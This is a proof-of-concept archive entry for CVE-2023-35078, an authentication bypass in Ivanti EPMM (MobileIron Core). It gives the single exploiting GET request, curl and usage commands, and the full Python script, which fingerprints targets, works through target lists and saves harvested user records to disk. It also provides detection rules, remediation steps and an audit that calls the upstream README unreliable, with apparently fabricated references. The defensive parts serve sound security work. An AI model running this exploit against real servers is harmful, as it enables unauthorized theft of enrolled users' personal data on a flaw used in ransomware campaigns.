PoC Archive PoC Archive
CVE-2023-35078 category: network CVSS 9.8 (CRITICAL) KEV Ransomware EPSS 100%
Unverified

Ivanti Endpoint Manager Mobile (EPMM) Unauthenticated Remote API Access (CVE-2023-35078)

Published: 2026-08-09 • Researcher: 0nsec (upstream PoC author, GitHub account On Security)

Target software Ivanti Endpoint Manager Mobile (EPMM), previously branded MobileIron Core — the /mifs/aad/api/ administrative API surface
Affected versions Per NVD: EPMM up to and including 11.8.1.0; 11.9.0 up to but excluding 11.9.1.1; 11.10.0 up to but excluding 11.10.0.2. Older MobileIron Core branches (11.4 and below) are out of support and should be treated as affected.
Status Patched (Ivanti EPMM 11.8.1.1, 11.9.1.1, 11.10.0.2 and later)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV Ransomware EPSS 100%

Confirmed exploited in the wild. Added to CISA KEV 2023-07-25. Federal remediation deadline 2023-08-15.

EPSS 100.0% · 100th percentile

Severity
Critical
CVE
CVE-2023-35078 (Ivanti advisory; CWE-287 per NVD)
Category
network
Affected product
Ivanti Endpoint Manager Mobile (EPMM), previously branded MobileIron Core — the /mifs/aad/api/ administrative API surface
Affected versions
Per NVD: EPMM up to and including 11.8.1.0; 11.9.0 up to but excluding 11.9.1.1; 11.10.0 up to but excluding 11.10.0.2. Older MobileIron Core branches (11.4 and below) are out of support and should be treated as affected.
Disclosed
2026-08-09
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2025-08-21
Author / Researcher0nsec (upstream PoC author, GitHub account On Security)
CVE / AdvisoryCVE-2023-35078 (Ivanti advisory; CWE-287 per NVD)
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS 3.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPatched (Ivanti EPMM 11.8.1.1, 11.9.1.1, 11.10.0.2 and later)
Tagsivanti, epmm, mobileiron-core, mdm, authentication-bypass, cwe-287, unauthenticated, api, pii-disclosure, cisa-kev, ransomware, scanner
RelatedN/A

Affected Target

FieldValue
Software / SystemIvanti Endpoint Manager Mobile (EPMM), previously branded MobileIron Core — the /mifs/aad/api/ administrative API surface
Versions AffectedPer NVD: EPMM up to and including 11.8.1.0; 11.9.0 up to but excluding 11.9.1.1; 11.10.0 up to but excluding 11.10.0.2. Older MobileIron Core branches (11.4 and below) are out of support and should be treated as affected.
Language / PlatformJava web application (EPMM appliance), reached over HTTPS
Authentication RequiredNo
Network Access RequiredYes — HTTPS access to the EPMM administrative web interface

Summary

Ivanti Endpoint Manager Mobile (EPMM, formerly MobileIron Core) fails to enforce authentication on specific paths beneath its /mifs/aad/api/ administrative API. An unauthenticated remote attacker can issue a plain GET /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1 and receive the administrative user records for the requested device space directly, with no session, token or credential of any kind. That single request is the vulnerability — there is no exploit chain, no payload and no memory corruption involved. Because EPMM is a mobile device management platform, the exposed data covers enrolled users and their devices, and the same authentication bypass reaches other API paths that permit configuration changes. CISA added the CVE to the KEV catalog on 2023-07-25 with knownRansomwareCampaignUse = Known; it was exploited in the wild, including against government targets, and chains with CVE-2023-35081 (authenticated path traversal to arbitrary file write) to reach code execution on the appliance.

Vulnerability Details

Root Cause

Improper authentication (CWE-287, per the NVD assignment and the CISA KEV record). The EPMM web application applies its authentication filter to the administrative interface, but specific route patterns under /mifs/aad/api/ are not covered by that enforcement, so requests to them are serviced as though an authorised administrator had made them. The adminDeviceSpaceId parameter then simply selects which administrative device space to enumerate — 1 being the default root space present on every deployment.

This is a missing-enforcement flaw on a route, not an input-validation or parsing flaw. Nothing has to be malformed, encoded, smuggled or overlong; the request is syntactically ordinary and semantically valid. That is what makes it trivially exploitable and also trivially detectable.

Note the CWE discrepancy worth being aware of when reading third-party material: NVD and CISA both assign CWE-287 (Improper Authentication). Some write-ups, including the upstream PoC README, describe it as CWE-306 (Missing Authentication for Critical Function). The distinction is minor in practice but the authoritative assignment is CWE-287.

Attack Vector

A single unauthenticated HTTP GET:

Output
GET /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1 HTTP/1.1
Host: epmm.example.com
Accept: application/json

A 200 OK with a JSON body of user records is the confirmation. The mirrored PoC additionally tries three fallbacks in order — the same v2 path without the query parameter, then the v1 equivalents — to accommodate older builds where the route or parameter naming differs.

Impact

Unauthenticated disclosure of administrative and enrolled-user records from the MDM platform. Per the CISA KEV description, an attacker reaching these API paths can obtain personally identifiable information such as names, phone numbers and other mobile device details for users on the system, and can also make configuration changes, including installing software and modifying security profiles on registered devices.

That second half is the reason this rates 9.8 rather than being a pure information-disclosure issue: an MDM server is a management plane for a fleet of endpoints, so an authentication bypass on its API is a route to pushing software and policy to every enrolled device. The mirrored PoC only exercises the read path; the write capability is inherent to the bypass but is not implemented in this script.

Chaining context: CVE-2023-35081 (Ivanti EPMM path traversal, arbitrary file write) is explicitly documented by CISA as usable in conjunction with CVE-2023-35078 to bypass authentication and ACL restrictions, which converts this bypass into code execution on the appliance. CVE-2023-35082 is a separate but closely related EPMM authentication bypass affecting 11.10 and older, described by NVD as unique from this one — do not conflate the three.

Environment / Lab Setup

Output
Target:      Ivanti EPMM / MobileIron Core appliance in an affected version band, with the
             administrative web interface reachable over HTTPS. TLS certificate validation
             is disabled by the script (verify=False), as appliance certs are usually
             self-signed.
Attacker:    Python 3.6+ with requests and urllib3. termcolor is optional -- the script
             degrades gracefully to uncoloured output if it is absent.
Tools:       cve_2023_35078.py (this folder), requirements.txt
Network:     Isolated lab or an authorised engagement only. This tool writes harvested
             user records to disk on success.

Setup Steps

Shell script
1
pip3 install -r requirements.txt

Note that requirements.txt pins requests>=2.25.1, urllib3>=1.26.0, termcolor>=1.1.0 and also lists argparse, which has been part of the Python standard library since 3.2 and does not need installing. Ignore that line.

Proof of Concept

See cve_2023_35078.py (317 lines, unmodified), requirements.txt, and upstream-README.md in this folder, mirrored byte-for-byte from 0nsec/CVE-2023-35078 at main commit b88ef58f13b06792f10c1c048a92e226abe1b261.

Read the Notes section before trusting upstream-README.md. That file is substantially inaccurate about what the code does. Everything described below was written from the actual source.

Step-by-Step Reproduction

  1. Install dependencies

    Shell script
    1
    
    pip3 install -r requirements.txt
  2. Confirm the vulnerability manually first — the whole exploit is one request, so there is no reason to reach for a tool before checking by hand:

    Shell script
    1
    
    curl -sk "https://TARGET/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"

    A 200 with JSON user records means vulnerable. A 401 or 403 means the bypass is closed.

  3. Run the PoC against a single target

    Shell script
    1
    
    python3 cve_2023_35078.py -u https://TARGET -v
  4. Run against a target list, one URL per line, # comments permitted, writing results to a directory:

    Shell script
    1
    
    python3 cve_2023_35078.py -f targets.txt -o ./results -t 30 -v

    On success a file ./results/<host>_<YYYYmmdd_HHMMSS>.json is written containing a wrapper object with timestamp, target_url, exploited_endpoint, cve and the harvested data. Treat those files as containing personal data and handle them accordingly.

Exploit Code

The entire vulnerability is this request. The script wraps it with a fingerprint step, an ordered fallback list and JSON output:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
endpoints = [
    "/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1",
    "/mifs/aad/api/v2/authorized/users",
    "/mifs/aad/api/v1/authorized/users?adminDeviceSpaceId=1",
    "/mifs/aad/api/v1/authorized/users",
]

headers = {
    'User-Agent': 'Mozilla/5.0 (compatible; security-scanner/1.0)',
    'Accept': 'application/json',
    'Content-Type': 'application/json',
}

for endpoint in endpoints:
    response = requests.get(url + endpoint, verify=False, timeout=timeout, headers=headers)
    if response.status_code == 200:
        data = response.json()
        if isinstance(data, list) and len(data) > 0:
            save_results(url, data, output_dir, endpoint)
            return True

Control flow, as it actually exists in the file:

  • main() parses -u/--url, -f/--file, -o/--output, -t/--timeout (default 10) and -v/--verbose, prints the banner, then loops over targets sequentially.
  • validate_url() prepends https:// when no scheme is given, checks that urlparse yields a netloc, and strips a trailing slash.
  • check_ivanti_mobileiron_version() fetches / with a Chrome 91 User-Agent and looks for the literal markers ui.login.css?, mifs/css/ui.login.css? and version=, substringing from each match up to the next " or &, then parsing major.minor as a float and reporting vulnerable when 11.2 <= n <= 11.4.
  • If no version can be parsed, it falls through to a plain string search for MobileIron, mifs/, mobileiron, /mifs/css/ or mi-logo in the response body, prints [?] MobileIron detected but version unclear - attempting exploit, and returns True regardless.
  • exploit_users_endpoint() walks the four endpoints, accepting a non-empty JSON list or dict as success, or as a last resort a non-JSON body longer than 100 characters containing any of user, email, name, id.
  • save_results() writes the JSON wrapper described above and prints the first five keys of the first record as [*] Sample fields: [...].

Two accuracy caveats on the gating logic:

  1. The version gate is advisory only. Because the MobileIron indicator search returns True on any match, the script proceeds to “attempting exploit” against anything that merely looks like MobileIron, whatever version was or was not detected. Do not read [+] Target appears VULNERABLE! as a vulnerability confirmation — only a 200 with user data from exploit_users_endpoint() confirms anything.
  2. The hardcoded 11.2 <= n <= 11.4 band does not match the real affected range, which per NVD extends through 11.10.0.1. A genuinely vulnerable 11.9 or 11.10 appliance fails that numeric test; it only gets exploited because the indicator fall-through rescues it. The version number the script prints should not be relied on for triage.

Expected Output

Reconstructed from the actual print() statements in the source, not copied from the upstream README:

Output
[*] Target: https://epmm.lab.local
------------------------------------------------------------
[*] Checking version for: https://epmm.lab.local
[?] MobileIron detected but version unclear - attempting exploit
[*] Attempting to exploit: https://epmm.lab.local
[*] Trying endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[+] SUCCESS! Found 47 users
[+] Results saved to: ./results/epmm.lab.local_20260809_141233.json
[+] Extracted 47 user records
[*] Sample fields: ['id', 'name', 'emailAddress', 'principal', 'deviceSpaceId']...

============================================================
[*] Scan completed!
[*] Targets processed: 1
[*] Successful exploits: 1
[!] WARNING: 1 vulnerable system(s) found!
[!] Ensure proper authorization before testing!

A patched or unaffected target produces:

Output
[-] Exploitation failed - no vulnerable endpoints found

The exact JSON field names returned by a real appliance depend on its version; the Sample fields list above is illustrative of the shape, not a verified schema.

Detection & Indicators of Compromise

Output
"GET /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1 HTTP/1.1" 200
"GET /mifs/aad/api/v2/authorized/users HTTP/1.1" 200
"GET /mifs/aad/api/v1/authorized/users?adminDeviceSpaceId=1 HTTP/1.1" 200
User-Agent: Mozilla/5.0 (compatible; security-scanner/1.0)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36

SIEM / IDS rule (illustrative):

Output
alert http any any -> any any (msg:"Ivanti EPMM CVE-2023-35078 unauthenticated authorized/users access"; \
  flow:to_server,established; http.method; content:"GET"; \
  http.uri; content:"/mifs/aad/api/"; content:"/authorized/users"; distance:0; \
  classtype:web-application-attack; sid:9202335078; rev:1;)

alert http any any -> any any (msg:"Ivanti EPMM CVE-2023-35078 PoC user-agent"; \
  flow:to_server,established; http.user_agent; \
  content:"security-scanner/1.0"; \
  classtype:web-application-activity; sid:9202335079; rev:1;)

Given the ransomware association and the 2023 disclosure date, retrospective log review matters more than live alerting for any appliance that was internet-facing before it was patched. Absence of current alerts is not evidence the appliance was never enumerated.

Remediation

ActionDetail
PatchUpgrade Ivanti EPMM to 11.8.1.1, 11.9.1.1 or 11.10.0.2 or later, matching your branch (per the NVD affected-version boundaries). Ivanti also published RPM hotfixes for supported branches at disclosure. Verify the exact build for your deployment against the Ivanti advisory before scheduling — the advisory portal was not reachable at ingestion time, so the version boundaries recorded here come from the NVD CPE data.
Unsupported versionsMobileIron Core branches at 11.4 and below are out of support and receive no fix. Migrate off them; there is no patched build to move to.
Patch the chain, not just this CVEAlso patch CVE-2023-35081 (path traversal to arbitrary file write) and CVE-2023-35082 (a distinct EPMM authentication bypass affecting 11.10 and older). Fixing only CVE-2023-35078 leaves related bypass and write primitives in place.
Verify the fixConfirm the endpoint now rejects unauthenticated access: curl -sk -o /dev/null -w "%{http_code}\n" "https://TARGET/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1" should return 401 or 403, not 200. Test the v1 paths too.
Workaround / Compensating controlsRemove the EPMM administrative interface from direct internet exposure — restrict it to a VPN or a management network. Where the portal must stay reachable, block unauthenticated requests to /mifs/aad/api/* at a reverse proxy or WAF. These are mitigations, not fixes; the bypass remains present until patched.
Assume compromiseKEV records confirmed in-the-wild exploitation with ransomware campaign use. On any appliance that was exposed while unpatched, treat enrolled-user PII as disclosed, review administrative changes and pushed applications for the exposure window, rotate EPMM administrative credentials and any integrated directory or certificate credentials, and check for CVE-2023-35081 file-write artifacts.

References

Deliberately omitted: the upstream README lists three “Research Papers and Analysis” links attributed to Check Point Research, Rapid7 and Mandiant. None could be verified and all three appear to be fabricated URLs. They are not reproduced here — see Notes.

Notes

Verified this session by reading the full source. All 317 lines of cve_2023_35078.py, plus requirements.txt and the upstream README, were read directly rather than taken on trust. Malware screen result: clean — no obfuscated payload that gets executed, no remote downloader, no credential exfiltration, no miner, no committed binaries, no install-time side effects, and mainstream dependencies only (requests, urllib3, optional termcolor, plus standard library sys, json, argparse, os, datetime, urllib.parse). There is no eval, no exec, no subprocess, no shell invocation and no network destination other than the operator-supplied target. The only filesystem write is save_results() producing the intended JSON output file in the current directory or the -o path. The author account 0nsec (display name On Security) has existed since 2022 with roughly 25 repositories and a coherent security-tooling history; the five commits here are all from 2025-08-21.

The upstream README is unreliable — the entry above was written from the code, not from it. This is recorded plainly because a reader who finds the upstream repository will hit the same problem. The mirrored upstream-README.md is preserved unmodified for provenance, but the following claims in it are contradicted by the source:

  1. A “Performance Optimizations” section advertises connection pooling, concurrent/parallel request processing, adaptive timeouts based on response times, memory management for large datasets, and built-in rate-limiting delays. None of these exist. The script is strictly sequential — there is no threading, asyncio, concurrent.futures or multiprocessing import anywhere; it never constructs a requests.Session, so there is no connection pooling across calls; the timeout is a fixed -t value with no adaptation; and there is no time.sleep or any other delay, so there is no rate limiting.
  2. The sample “Verbose Output” block shows lines the script never prints — for example [*] HTTP 200 - Response length: 45,123 bytes, [*] JSON parsing successful, [*] Found user data structure with 234 records, and [*] Sample user data: {...}. No such format strings exist in the file. The Expected Output section above was reconstructed from the real print() calls instead.
  3. The installation instructions point at a repository that is not this one. They say git clone https://github.com/0nsec/cve-2023-35078-exploit.git and wget https://raw.githubusercontent.com/0nsec/cve-2023-35078-exploit/main/cve_2023_35078.py, while the actual repository is 0nsec/CVE-2023-35078. Both commands fail as written.
  4. Three reference URLs attributed to Check Point Research, Rapid7 and Mandiant appear fabricated. They could not be verified and are not reproduced in the References section. Only the NVD record, the genuine Ivanti advisory and the CISA KEV catalog are cited.
  5. It overclaims the exposed data. It asserts that “User Credentials: Usernames, password hashes” are obtainable. The CISA KEV description characterises the exposure as personally identifiable information such as names, phone numbers and other mobile device details, plus the ability to make configuration changes. Password hash disclosure is not part of the documented impact, and the script does nothing to obtain hashes — it stores whatever JSON the endpoint returns.
  6. It cites CWE-306 where NVD and CISA both assign CWE-287.
  7. Licence status is ambiguous upstream. The README displays an MIT licence badge, but the repository contains no LICENSE file and no GitHub licence metadata, so no licence is actually granted in the repository itself. Nothing is mirrored here in place of a licence file. Credit for the script belongs to 0nsec.

The overall shape of these problems — confident feature lists that the code does not implement, plausible-looking output transcripts that do not match any format string, and authoritative-looking references to vendors that did not publish them — is consistent with an LLM-generated README written around a real script. The script itself is genuine and does what this entry describes: the request it sends is the actual vulnerability, and the endpoint list is correct. The documentation around it simply cannot be relied on.

Version gating is advisory only, not a vulnerability determination. check_ivanti_mobileiron_version() returns True for any response body matching a generic MobileIron string (MobileIron, mifs/, mobileiron, /mifs/css/, mi-logo), printing [?] MobileIron detected but version unclear - attempting exploit and proceeding regardless of what version was detected. Its hardcoded 11.2 <= n <= 11.4 numeric band is also narrower than the real affected range, which per NVD extends through 11.10.0.1 — so genuinely vulnerable 11.9 and 11.10 appliances pass only because of that fall-through. Treat only a 200 with user data as confirmation.

Minor code defects observed, left unmodified in the mirror. In process_target(), url is reassigned from validate_url(url) before the failure message is printed, so an invalid input reports [-] Invalid URL format: None rather than echoing what the operator typed. The exploit requests set Content-Type: application/json on a GET, which is meaningless but harmless. requirements.txt pins argparse, which is standard library. None of these affect correctness of the actual probe.

Metadata verified at ingestion. CISA KEV catalog 2026.08.07: dateAdded 2023-07-25, dueDate 2023-08-15, knownRansomwareCampaignUse Known, CWE CWE-287, vendor Ivanti, product “Endpoint Manager Mobile (EPMM)”. NVD: CVSS 3.1 base 9.8 Critical, vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, published 2023-07-25, CWE-287, with affected boundaries up to and including 11.8.1.0, 11.9.0 to before 11.9.1.1, and 11.10.0 to before 11.10.0.2. EPSS percentile 100 (top of the distribution). The Ivanti advisory page itself returned HTTP 403 to automated fetching at ingestion time, so patched-version numbers were taken from the NVD CPE data and should be re-confirmed against the advisory by anyone planning an upgrade.

Operational caution. On success this tool writes real personal data about real people to disk. Use it only under explicit written authorisation, store the output files as you would any PII, and delete them when the engagement closes.

cve_2023_35078.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
#!/usr/bin/env python3

import requests
import sys
import json
import argparse
import urllib3
import os
from datetime import datetime
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    from termcolor import colored
except ImportError:
    def colored(text, color):
        return text

def banner():
    print("""
          
██████╗ ███╗   ██╗███████╗███████╗ ██████╗
██╔═████╗████╗  ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗  ██║     
████╔╝██║██║╚██╗██║╚════██║██╔══╝  ██║     
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝
 
[+] CVE-2023-35078 - Ivanti MobileIron Core Remote Unauthenticated API Access
[+] Description:
This script demonstrates an ethical Proof of Concept (PoC) for CVE-2023-35078.
The vulnerability allows unauthorized access to sensitive user data through an insecure API endpoint
in Ivanti MobileIron Core versions 11.2, 11.3, and 11.4 prior to 11.4 CU8, 11.3 CU18, and 11.2 CU21.

[+] CVSS Score: 9.8 (Critical)
[+] CVE Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-35078

[+] Disclaimer:
This script is for educational and authorized security testing purposes ONLY.
- Only use with explicit written permission from the system owner
- Unauthorized access to computer systems is illegal
- Author is not responsible for misuse of this tool

[+] Usage:
python3 cve_2023_35078.py -u https://target.com
python3 cve_2023_35078.py -f targets.txt
python3 cve_2023_35078.py -u https://target.com --output results/
python3 cve_2023_35078.py -f targets.txt --timeout 10 --verbose

[+] Author: 0nsec (https://github.com/0nsec)
""")

def validate_url(url):
    """Validate and normalize URL format"""
    if not url.startswith(('http://', 'https://')):
        url = 'https://' + url
    
    try:
        parsed = urlparse(url)
        if not parsed.netloc:
            return None
        return url.rstrip('/')
    except Exception:
        return None

def check_ivanti_mobileiron_version(url, timeout=10, verbose=False):
    """
    Check if target is running vulnerable Ivanti MobileIron Core version
    Vulnerable versions: 11.2, 11.3, 11.4 prior to patches
    """
    if verbose:
        print(f"[*] Checking version for: {url}")
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
    }
    
    try:
        response = requests.get(url, verify=False, timeout=timeout, headers=headers)
        if response.status_code != 200:
            if verbose:
                print(f"[-] HTTP {response.status_code} - Not accessible")
            return False
        
        version_patterns = [
            "ui.login.css?",
            "mifs/css/ui.login.css?",
            "version="
        ]
        
        for pattern in version_patterns:
            version_start = response.text.find(pattern)
            if version_start != -1:
                version_end = response.text.find('"', version_start)
                if version_end == -1:
                    version_end = response.text.find('&', version_start)
                
                version_str = response.text[version_start + len(pattern):version_end]
                print(f"[*] Detected version: {version_str}")
                
                # Check version is vulnerable..
                try:
                    version_num = float(version_str.split('.')[0] + '.' + version_str.split('.')[1])
                    if 11.2 <= version_num <= 11.4:
                        print(colored("[+] Target appears VULNERABLE!", "red"))
                        return True
                except (ValueError, IndexError):
                    if verbose:
                        print(f"[-] Could not parse version: {version_str}")
        
        # Check for MobileIron indicators even without version...
        mobileiron_indicators = [
            "MobileIron",
            "mifs/",
            "mobileiron",
            "/mifs/css/",
            "mi-logo"
        ]
        
        for indicator in mobileiron_indicators:
            if indicator.lower() in response.text.lower():
                print(colored("[?] MobileIron detected but version unclear - attempting exploit", "yellow"))
                return True
        
        if verbose:
            print("[-] No MobileIron indicators found")
        return False
        
    except requests.exceptions.Timeout:
        print(colored("[-] Connection timeout", "red"))
        return False
    except requests.exceptions.ConnectionError:
        print(colored("[-] Connection failed", "red"))
        return False
    except Exception as e:
        if verbose:
            print(f"[-] Error checking version: {str(e)}")
        return False

def exploit_users_endpoint(url, output_dir=None, timeout=10, verbose=False):
    """
    Exploit the vulnerable API endpoint to extract user data
    """
    endpoints = [
        "/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1",
        "/mifs/aad/api/v2/authorized/users",
        "/mifs/aad/api/v1/authorized/users?adminDeviceSpaceId=1",
        "/mifs/aad/api/v1/authorized/users"
    ]
    
    headers = {
        'User-Agent': 'Mozilla/5.0 (compatible; security-scanner/1.0)',
        'Accept': 'application/json',
        'Content-Type': 'application/json'
    }
    
    print(f"[*] Attempting to exploit: {url}")
    
    for endpoint in endpoints:
        vuln_url = url + endpoint
        if verbose:
            print(f"[*] Trying endpoint: {endpoint}")
        
        try:
            response = requests.get(vuln_url, verify=False, timeout=timeout, headers=headers)
            
            if response.status_code == 200:
                try:
                    data = response.json()
                    if isinstance(data, list) and len(data) > 0:
                        print(colored(f"[+] SUCCESS! Found {len(data)} users", "green"))
                        save_results(url, data, output_dir, endpoint)
                        return True
                    elif isinstance(data, dict) and data:
                        print(colored("[+] SUCCESS! Found user data", "green"))
                        save_results(url, data, output_dir, endpoint)
                        return True
                except json.JSONDecodeError:
                    if len(response.text) > 100 and any(keyword in response.text.lower() for keyword in ['user', 'email', 'name', 'id']):
                        print(colored("[+] SUCCESS! Found potential user data (non-JSON)", "green"))
                        save_results(url, response.text, output_dir, endpoint)
                        return True
            
            elif verbose and response.status_code not in [404, 403]:
                print(f"[-] HTTP {response.status_code} for {endpoint}")
                
        except requests.exceptions.Timeout:
            if verbose:
                print(f"[-] Timeout for endpoint: {endpoint}")
            continue
        except Exception as e:
            if verbose:
                print(f"[-] Error with endpoint {endpoint}: {str(e)}")
            continue
    
    print(colored("[-] Exploitation failed - no vulnerable endpoints found", "red"))
    return False

def save_results(url, data, output_dir=None, endpoint=""):
    """Save exploitation results to file"""
    try:
        if output_dir:
            os.makedirs(output_dir, exist_ok=True)
            base_path = output_dir
        else:
            base_path = "."
        
        parsed_url = urlparse(url)
        hostname = parsed_url.netloc.replace(':', '_').replace('/', '_')
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        filename = f"{base_path}/{hostname}_{timestamp}.json"
        
        output_data = {
            "timestamp": datetime.now().isoformat(),
            "target_url": url,
            "exploited_endpoint": endpoint,
            "cve": "CVE-2023-35078",
            "data": data
        }
        
        with open(filename, "w", encoding="utf-8") as f:
            json.dump(output_data, f, indent=2, ensure_ascii=False)
        
        print(colored(f"[+] Results saved to: {filename}", "green"))
        
        if isinstance(data, list):
            print(colored(f"[+] Extracted {len(data)} user records", "green"))
            if len(data) > 0 and isinstance(data[0], dict):
                print(f"[*] Sample fields: {list(data[0].keys())[:5]}...")
        elif isinstance(data, dict):
            print(colored(f"[+] Extracted user data with {len(data)} fields", "green"))
        
    except Exception as e:
        print(colored(f"[-] Error saving results: {str(e)}", "red"))

def process_target(url, output_dir=None, timeout=10, verbose=False):
    """Process a single target"""
    url = validate_url(url)
    if not url:
        print(colored(f"[-] Invalid URL format: {url}", "red"))
        return False
    
    print(f"\n[*] Target: {url}")
    print("-" * 60)

    if check_ivanti_mobileiron_version(url, timeout, verbose):
        return exploit_users_endpoint(url, output_dir, timeout, verbose)
    else:
        print(colored("[-] Target does not appear vulnerable", "red"))
        return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2023-35078 - Ivanti MobileIron Core Unauthenticated API Access Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument('-u', '--url', help='Single target URL to test')
    parser.add_argument('-f', '--file', help='File containing target URLs (one per line)')
    parser.add_argument('-o', '--output', help='Output directory for results (default: current directory)')
    parser.add_argument('-t', '--timeout', type=int, default=10, help='Request timeout in seconds (default: 10)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
    
    args = parser.parse_args()
    
    if not args.url and not args.file:
        parser.print_help()
        sys.exit(1)
    
    banner()
    
    successful_exploits = 0
    total_targets = 0
    
    try:
        if args.file:
            print(colored(f"[*] Reading targets from: {args.file}", "cyan"))
            try:
                with open(args.file, "r", encoding="utf-8") as f:
                    urls = [line.strip() for line in f.readlines() if line.strip() and not line.startswith('#')]
                
                total_targets = len(urls)
                print(colored(f"[*] Loaded {total_targets} targets", "cyan"))
                
                for i, url in enumerate(urls, 1):
                    print(colored(f"\n[*] Progress: {i}/{total_targets}", "cyan"))
                    if process_target(url, args.output, args.timeout, args.verbose):
                        successful_exploits += 1
                        
            except FileNotFoundError:
                print(colored(f"[-] File not found: {args.file}", "red"))
                sys.exit(1)
            except Exception as e:
                print(colored(f"[-] Error reading file: {str(e)}", "red"))
                sys.exit(1)
                
        elif args.url:
            total_targets = 1
            if process_target(args.url, args.output, args.timeout, args.verbose):
                successful_exploits += 1
    
    except KeyboardInterrupt:
        print(colored("\n[!] Interrupted by user", "yellow"))
    except Exception as e:
        print(colored(f"[-] Unexpected error: {str(e)}", "red"))
    
    print("\n" + "=" * 60)
    print(colored(f"[*] Scan completed!", "cyan"))
    print(colored(f"[*] Targets processed: {total_targets}", "cyan"))
    print(colored(f"[*] Successful exploits: {successful_exploits}", "green" if successful_exploits > 0 else "red"))
    
    if successful_exploits > 0:
        print(colored(f"[!] WARNING: {successful_exploits} vulnerable system(s) found!", "red"))
        print(colored("[!] Ensure proper authorization before testing!", "red"))

if __name__ == "__main__":
    main()